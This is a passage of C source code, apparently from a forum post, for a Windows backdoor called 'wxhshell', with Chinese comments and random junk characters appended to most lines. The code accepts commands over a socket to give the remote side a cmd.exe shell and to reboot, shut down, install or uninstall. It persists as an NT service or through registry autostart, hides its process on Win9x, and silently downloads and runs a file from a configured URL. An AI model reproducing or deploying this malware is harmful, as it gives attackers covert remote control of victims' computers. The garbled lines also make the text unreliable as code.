  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3+n&Ya1  
  } /6L\`\g  
  else { Fnll&TF  
.bnoK  
    switch(cmd[0]) { CXA)Zl5#  
  fyQAQZT  
  // 帮助 =>ph\  
  case '?': { !7 *X{D v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4fpz;2%  
    break; B.&q]CA v-  
  } z,DEBRT+  
  // 安装 0>E`9|   
  case 'i': { _CI!7%  
    if(Install()) OBb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9LCV"xgX  
    else 6aMqU?-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U_M> Q_r(  
    break; $C^94$W  
    } v?d~H`L  
  // 卸载 JNX7]j\  
  case 'r': { "v ^Q !  
    if(Uninstall()) 8 kd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (h`||48d  
    else k[G?22t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cww$ A %}  
    break; _W?}%;  
    } ze,HN Fg@>  
  // 显示 wxhshell 所在路径 ,|T   
  case 'p': { s(wbsRVP8  
    char svExeFile[MAX_PATH]; t ;y>q  
    strcpy(svExeFile,"\n\r"); wl5!f|  
      strcat(svExeFile,ExeFile); t^uX9yvx  
        send(wsh,svExeFile,strlen(svExeFile),0); 7,Z%rqf\)  
    break; G}f.fR Y  
    } +J+]P\:  
  // 重启 X}Fc0Oo  
  case 'b': { tlvLbP*r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); r6MQ|@  
    if(Boot(REBOOT)) r 97 VX>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O]lWaiR`  
    else { Q[8L='E  
    closesocket(wsh); &t%ICz&3  
    ExitThread(0); /r}t  
    } xPsuDi8u  
    break; htMpL  
    } ]km8M^P  
  // 关机 (x?A#o>%  
  case 'd': { \JN<"/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  l R;<6  
    if(Boot(SHUTDOWN)) 1 ht4LRFi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nm\n\j~  
    else { xNq&_oY7  
    closesocket(wsh); F/@#yQv?  
    ExitThread(0); N:gS]OI*  
    } JUwP<C[  
    break; WWq)Cw R  
    } 0W]Wu[k  
  // 获取shell d [K56wbpx  
  case 's': { \? MuORg  
    CmdShell(wsh); eFZ`0V0  
    closesocket(wsh); f9OVylm  
    ExitThread(0); VbA#D4;  
    break; 9{ciD "!&V  
  } Ep?a1&b  
  // 退出 ,'82;oP4  
  case 'x': { Zf(ucAhL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8]2S'm xE  
    CloseIt(wsh); 6>bKlYl&9  
    break; 0g`WRe  
    } n6ud;jN|  
  // 离开 ,n&Dg58K  
  case 'q': { G 7zfyw}W  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C"hc.A&4  
    closesocket(wsh); WY<ip<  
    WSACleanup(); OEZXV ;F  
    exit(1); T[ky7\  
    break; /mqEc9sq,  
        } SU H^]4>  
  } uOm fpgO  
  } r1F5&?{q  
;k!Ej-(  
  // 提示信息 rQ~%SUM7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .Jou09+  
} \N/T^,  
  } =\oNu&Q^  
M|Z] B<_x  
  return; HHg=:>L z  
} MZ% P(5  
{N7,=(-2=  
// shell模块句柄 ` LU&]NS3  
int CmdShell(SOCKET sock) t {x&|%u  
{ M{hA`  
STARTUPINFO si; '4N[bRCn  
ZeroMemory(&si,sizeof(si));  (lt/ t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U/{cYX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )RA7Y}e|m  
PROCESS_INFORMATION ProcessInfo; ]+fL6"OD/2  
char cmdline[]="cmd"; ){8^l0b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~#) DJ  
  return 0; ?t?!)#X  
} Vf O0 z5&  
H( cY=d,  
// 自身启动模式 #?8'Z/1 )  
int StartFromService(void) [.3M>,)+-  
{ .,tf[w 71  
typedef struct :5C9uW #  
{ GT#iY*  
  DWORD ExitStatus; MF%9  
  DWORD PebBaseAddress; :) mV-(+o  
  DWORD AffinityMask; \kC/)d  
  DWORD BasePriority; ]FsPlxk6  
  ULONG UniqueProcessId; 1/ j}VC  
  ULONG InheritedFromUniqueProcessId; ~e'FPVDn  
}   PROCESS_BASIC_INFORMATION; <3ovCqa  
YzEa?F*$  
PROCNTQSIP NtQueryInformationProcess; $yc&f(Tv  
^\Jg {9a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h9SS o0]F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z[CCgs&vqe  
`[CXxp  
  HANDLE             hProcess; /UM9g+Bb  
  PROCESS_BASIC_INFORMATION pbi; W}JJaZR*X  
]TD]    
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vW YN?"d  
  if(NULL == hInst ) return 0; wGb{O  
+F4xCz7f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d]w*fn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u3c e\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MhJq~G p  
]Alu~Dw  
  if (!NtQueryInformationProcess) return 0; /:C"n|P7Z  
[,G]#<G?q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uw;s](~E  
  if(!hProcess) return 0; &ec_jxF  
zBqr15  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3$WK%"%T  
N=:yl/M  
  CloseHandle(hProcess); !"p,9  
#YhKAG@|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); saYn\o"m  
if(hProcess==NULL) return 0; ]3Mm"7`  
F~<$E*&h@  
HMODULE hMod; e|]g ?!  
char procName[255]; 31J7# S2  
unsigned long cbNeeded; B/pNM81(  
5.5dB2w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ilpg()  
N[zI@>x  
  CloseHandle(hProcess); 42Ql^ka  
qlDLZ.  
if(strstr(procName,"services")) return 1; // 以服务启动 sm\/wlbE  
*/?L_\7  
  return 0; // 注册表启动 x{RTI#a.  
} b!_l(2  
dp_J*8  
// 主模块 oLBpG1Va  
int StartWxhshell(LPSTR lpCmdLine) WMl_$Fd6  
{ $c  f?`k  
  SOCKET wsl; }RW4  
BOOL val=TRUE; BOfO$J}  
  int port=0; YHCXVu<.b  
  struct sockaddr_in door; \h _hd%'G  
${e(#bvGZ  
  if(wscfg.ws_autoins) Install(); tHhY1[A8m  
9$S2:2(G  
port=atoi(lpCmdLine); 0*q~(.>a  
@AVx4,!>[  
if(port<=0) port=wscfg.ws_port; ,CwhpW\Y  
;2%3~L8?V  
  WSADATA data; [y>Q3UqN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /rJvw   
4zfgtg(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AB+Zc ]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $3"0w   
  door.sin_family = AF_INET;  Zp]Bs  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p|Z"< I7p(  
  door.sin_port = htons(port); 4#4kfGoT  
EYG&~a>L*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y$\K@B4  
closesocket(wsl); 7B+?1E(  
return 1; h :NHReMT  
} A+ Z3b:}~  
$W` &7  
  if(listen(wsl,2) == INVALID_SOCKET) { :GGsQ n  
closesocket(wsl); K\n %&w  
return 1; $m{\<A  
} Wpj.G  
  Wxhshell(wsl); nc@ul')  
  WSACleanup(); x-Xb4?{  
6^|bKoN/ f  
return 0; '_(oa<g  
QZQ@C#PR;  
} ;|9VPv/  
o)1wF X  
// 以NT服务方式启动 lywcT! <  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1\zI#"b ^  
{ "fz-h  
DWORD   status = 0; y~U+MtSf#  
  DWORD   specificError = 0xfffffff; T|9Yo=UK%  
5)&e2V',y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vP&*(WfO)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t"RgEH@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X2sK<Qluql  
  serviceStatus.dwWin32ExitCode     = 0; F"B!r-J  
  serviceStatus.dwServiceSpecificExitCode = 0; ?Vt$  
  serviceStatus.dwCheckPoint       = 0; `b9oH^}n j  
  serviceStatus.dwWaitHint       = 0; 0Dh a1[=  
;zz"95X7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LnR3C:NO k  
  if (hServiceStatusHandle==0) return; +wT,dUin_<  
7 yF#G9,  
status = GetLastError(); EEaKT`/d  
  if (status!=NO_ERROR) /R@(yT=t  
{ <|.S~HLTQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; li NPXS+  
    serviceStatus.dwCheckPoint       = 0; 2evM|Dj  
    serviceStatus.dwWaitHint       = 0; ^{Syg;F=  
    serviceStatus.dwWin32ExitCode     = status; 6jF~zI^  
    serviceStatus.dwServiceSpecificExitCode = specificError; F(SeD)ml  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dqd Qt_  
    return; %y8w9aGt  
  } Jz3q Pr  
j:{<    
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; & qd:o}  
  serviceStatus.dwCheckPoint       = 0; n=hz7tjaz  
  serviceStatus.dwWaitHint       = 0; W,wg@2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aY3kww`  
} 9f BD.9A  
:5@7z9 >  
// 处理NT服务事件,比如:启动、停止 w8> T ~Mv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7d'@Z2%J0  
{ _)%4NjWKk  
switch(fdwControl) _);1dcnR  
{ :4)mv4Q  
case SERVICE_CONTROL_STOP: w8{deSdfP  
  serviceStatus.dwWin32ExitCode = 0; ;&:UxmTf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y fP&Q<|  
  serviceStatus.dwCheckPoint   = 0; yd>kJk^~/  
  serviceStatus.dwWaitHint     = 0; Z\dILt:#z  
  { lzm9ClkfH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b\^Sz{  
  } )OjbmU!7  
  return; UDp"+nS  
case SERVICE_CONTROL_PAUSE: K8e>sU.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .dM 0  
  break; /a9+R)Al  
case SERVICE_CONTROL_CONTINUE: zRf]SZ(t O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YK"({Z>U  
  break; ZO0_:T#Z  
case SERVICE_CONTROL_INTERROGATE: _KD(V2W  
  break; ijoR(R^r  
}; +8 6\&y)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .:<c[EJ b  
} dcXtT3,kpX  
i37W^9 R  
// 标准应用程序主函数 !pDS*{)E  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *sL'6"#Cre  
{ CsuSg*#X+  
z!RA=]3h  
// 获取操作系统版本 Z39^nGO  
OsIsNt=GetOsVer(); >1joCG~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3zh'5qQ  
kTFN.kQx@  
  // 从命令行安装 1 u&P,&T  
  if(strpbrk(lpCmdLine,"iI")) Install(); C,fIwqOr3  
~ZvZ k  
  // 下载执行文件 ` qt4~rD  
if(wscfg.ws_downexe) { y/kCzDT,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kMwt&6wS  
  WinExec(wscfg.ws_filenam,SW_HIDE); %iJ6;V 4  
} r-[z!S  
(<8T*Xo  
if(!OsIsNt) { )FU4iN)ei  
// 如果时win9x,隐藏进程并且设置为注册表启动 R@"N{ [9  
HideProc(); ]~a!O  
StartWxhshell(lpCmdLine); xnh%nv<v{  
} 5i1>z{  
else ,QKG$F  
  if(StartFromService()) [3/P EDkw  
  // 以服务方式启动 YK}(VF?&  
  StartServiceCtrlDispatcher(DispatchTable); Qt@~y'O  
else tgrQ$Yjk  
  // 普通方式启动 4tq>Lx^5U  
  StartWxhshell(lpCmdLine); $xloB  
<`M Hra8  
return 0; >6<g5ps.n  
}
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只看该作者 1 发表于: 2006-10-10
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